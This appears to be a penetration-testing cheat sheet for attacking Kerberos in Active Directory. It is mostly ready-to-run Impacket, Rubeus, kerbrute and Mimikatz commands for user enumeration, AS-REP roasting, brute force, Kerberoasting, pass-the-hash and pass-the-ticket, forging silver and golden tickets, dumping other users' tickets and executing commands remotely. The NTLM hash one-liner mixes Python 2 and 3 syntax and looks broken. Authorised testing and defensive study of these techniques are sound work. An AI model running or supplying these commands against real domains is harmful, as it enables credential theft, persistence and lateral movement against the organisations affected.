Kerberos

Check for valid users

This is useful if you have a list of usernames and do not know which are valid on the domain. Can also be used to find from a list of valid users which are vulnerable to the more vicious attacks below.

Using LDAP

LDAP: (&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304))

LDAP filter for users that do not require Kerberos PREAUTH. The syntax above (&( means a logical AND, where both filters must be true.

Using Impacket GetNPUsers.py

Check for valid users (no credentials required)

python GetNPUsers.py $domain/ -usersfile $users -format $format -outputfile $out_file

Check for users without PREAUTH required (credentials required)

python GetNPUsers.py $domain/$user:$password -request -format $format -outputfile $out_file

Using Rubeus with ASREPRoast module

Check ASREPRoast for all users in current domain

.\Rubeus.exe asreproast  /format:$format /outfile:$out_file

$format can be either [hashcat|john] for both Impacket and Rubeus

Brute Force

Attempt to validate users and/or passwords through a brute force attack. Has a high possibility of locking out accounts. Not recommended.

With kerbrute.py

python3 kerbrute.py -domain $domain -users $users_file -passwords $pass_file -outputfile $out_file

With Rubeus using the 'brute' module

# with a specified list of users and passwords
.\Rubeus.exe brute /users:$users_file /passwords:$pass_file /domain:$domain /outfile:$out_file

# Do a lookup for valid users and attack them
.\Rubeus.exe brute /passwords:$pass_file /outfile:$out_file

Password Spray

Similar to a brute force attack, but only use one (or a few) passwords. This minimizes the chances of account lockout. TODO: Add More

Kerberoast

TGS Service key is derived from NTLM hash, so having one can give the other.

Enumeration using LDAP

LDAP: (&(samAccountType=805306368)(servicePrincipalName=*))

LDAP filter for users with linked services

Using Impacket GetUserSPNs.py

python GetUserSPNs.py $domain/$user:$password -outputfile $out_file

Using Rubeus with kerberoast module

.\Rubeus.exe kerberoast /outfile:$out_file>

  • Hashcat format: 13100

  • John format: krb5tgs

Overpass The Hash/Pass The Key (PTK)

Using Impacket getTGT.py

# Request the TGT with hash (lm portion of the hash is optional)
python getTGT.py $domain/$user@$host -hashes $hash
# Request the TGT with aesKey (more secure encryption, probably more stealth due is the used by default by Microsoft)
python getTGT.py $domain/$user@$host -aesKey $aes_key
# Request the TGT by supplying the password
python getTGT.py $domain/$user@$host:$password
# If the password is not provided it will be prompted for

# export the .ccache from above for use
export KRB5CCNAME=$ccache_file

# Execute remote commands with any of the following using the -k flag
python3 psexec.py $domain/$user@$host -k -no-pass
python3 smbexec.py $domain/$user@$host -k -no-pass
python3 wmiexec.py $domain/$user@$host -k -no-pass

Using Rubeus with asktgt module and PsExec

# Ask and inject the ticket
.\Rubeus.exe asktgt /domain:$domain /user:$user /rc4:$ntlm_hash /ptt

# Execute a cmd in the remote machine
.\PsExec.exe -accepteula \\$host cmd

Pass The Ticket

From Linux

Check type and location of tickets:

grep $ccache_name /etc/krb5.conf

If none return, default is /tmp/krb5cc_%{uid}.

For KEYRING tickets, you can use tickey to retrieve them.

# Will attempt injecting into other user processes to dump current user tickets
# For maximum effect, copy tickey to a folder reachable by all users
cp tickey /tmp/tickey
/tmp/tickey -i

Using Impacket

# Set the ticket for impacket use
export KRB5CCNAME=<TGT_ccache_file_path>

# Execute remote commands with any of the following by using the TGT
python psexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python smbexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python wmiexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass

Convert tickets between Linux/Windows format with ticket_converter.py

# ccache (Linux), kirbi (Windows from mimi/Rubeus) 
python3 ticket_converter.py $ticket.kirbi $ticket.ccache
python3 ticket_converter.py $ticket.ccache $ticket.kirbi

From Windows

Using Mimikatz to export the tickets

sekurlsa::tickets /export

Inject ticket with Mimikatz:

kerberos::ptt $kirbi_file

Using Rubeus with dump module

.\Rubeus dump

Inject ticket with Rubeus ptt module

.\Rubeus.exe ptt /ticket:$kirbi_file

Execute a command with PsExec after injecting the ticket

.\PsExec.exe -accepteula \\$host $command

Silver ticket

Create an unlimited use ticket for a single service. After generating a Silver ticket, follow the same instructions as above to use

Using Impacket ticketer.py

# To generate the Silver Ticket with the NTLM hash
python ticketer.py -nthash $ntlm_hash -domain-sid $domain_sid -domain $domain -spn $service_spn $user

# To generate the Siver ticket with an AES key
python ticketer.py -aesKey $aes_key -domain-sid $domain_sid -domain $domain -spn $service_spn  $user

Using Mimikatz

# To generate the Silver Ticket with the NTLM hash
kerberos::golden /domain:$domain /sid:$domain_sid /rc4:$ntlm_hash /user:$user /service:$service_name /target:$service_machine_hostname

# To generate the Siver ticket with an AES 128 key
kerberos::golden /domain:$domain /sid:$domain_sid /aes128:$aes128_key /user:$user /service:$service_name /target:$service_machine_hostname

# To generate the Siver ticket with an AES 256 key (default by Microsoft)
kerberos::golden /domain:$domain /sid:$domain_sid /aes256:$aes256_key /user:$user /service:$service_name /target:$service_machine_hostname

Golden ticket

Create a unlimited use ticket. It will be valid until the krbtgt password is changed or TGT expires. Tickets must be used right after created. Follow the same instructions as above to use.

Using Impacket ticketer.py

# To generate the Golden Ticket with the NTLM hash
python ticketer.py -nthash $ntlm_hash -domain-sid $domain_sid -domain $domain $user_name

# To generate the Golden ticket with an AES key
python ticketer.py -aesKey $aes_key -domain-sid $domain_sid -domain $domain $user

Using Mimikatz

# To generate the Golden Ticket with the NTLM hash
kerberos::golden /domain:$domain /sid:$domain_sid /rc4:$ntlm_hash /user:$user

# To generate the Golden ticket with an AES 128 key
kerberos::golden /domain:$domain /sid:$domain_sid /aes128:$aes128_key /user:$user

# To generate the Golden ticket with an AES 256 key (default by Microsoft)
kerberos::golden /domain:$domain /sid:$domain_sid /aes256:$aes256_key /user:$user

Misc

Get NTLM hash from password

python3 -c 'import hashlib,binascii; print binascii.hexlify(hashlib.new("md4", f"{password}".encode("utf-16le")).digest())'

{password} is where the password is inserted.

Delegation

Allows a service impersonate the user to interact with a second service, with the privileges and permissions of the user

  • If a user has delegation capabilities, all its services (and processes) have delegation capabilities.

  • KDC only worries about the user who is talking to, not the process.

  • Any process belonging to the same user can perform the same actions in Kerberos, regardless of whether it is a service or not.

  • Unable to delegate if NotDelegated (or ADS_UF_NOT_DELEGATED) flag is set in the User-Account-Control attribute of the user account or user in Protected Users group.

Unconstrained delegation

  1. User1 requests a TGS for $Service, of User2.

  2. The KDC checks if User2 has the TrustedForDelegation flag set.

  3. The KDC includes a TGT of User1 inside the TGS for $Service.

  4. $Service receives the TGS with the TGT of User1 included and stores it for later use.

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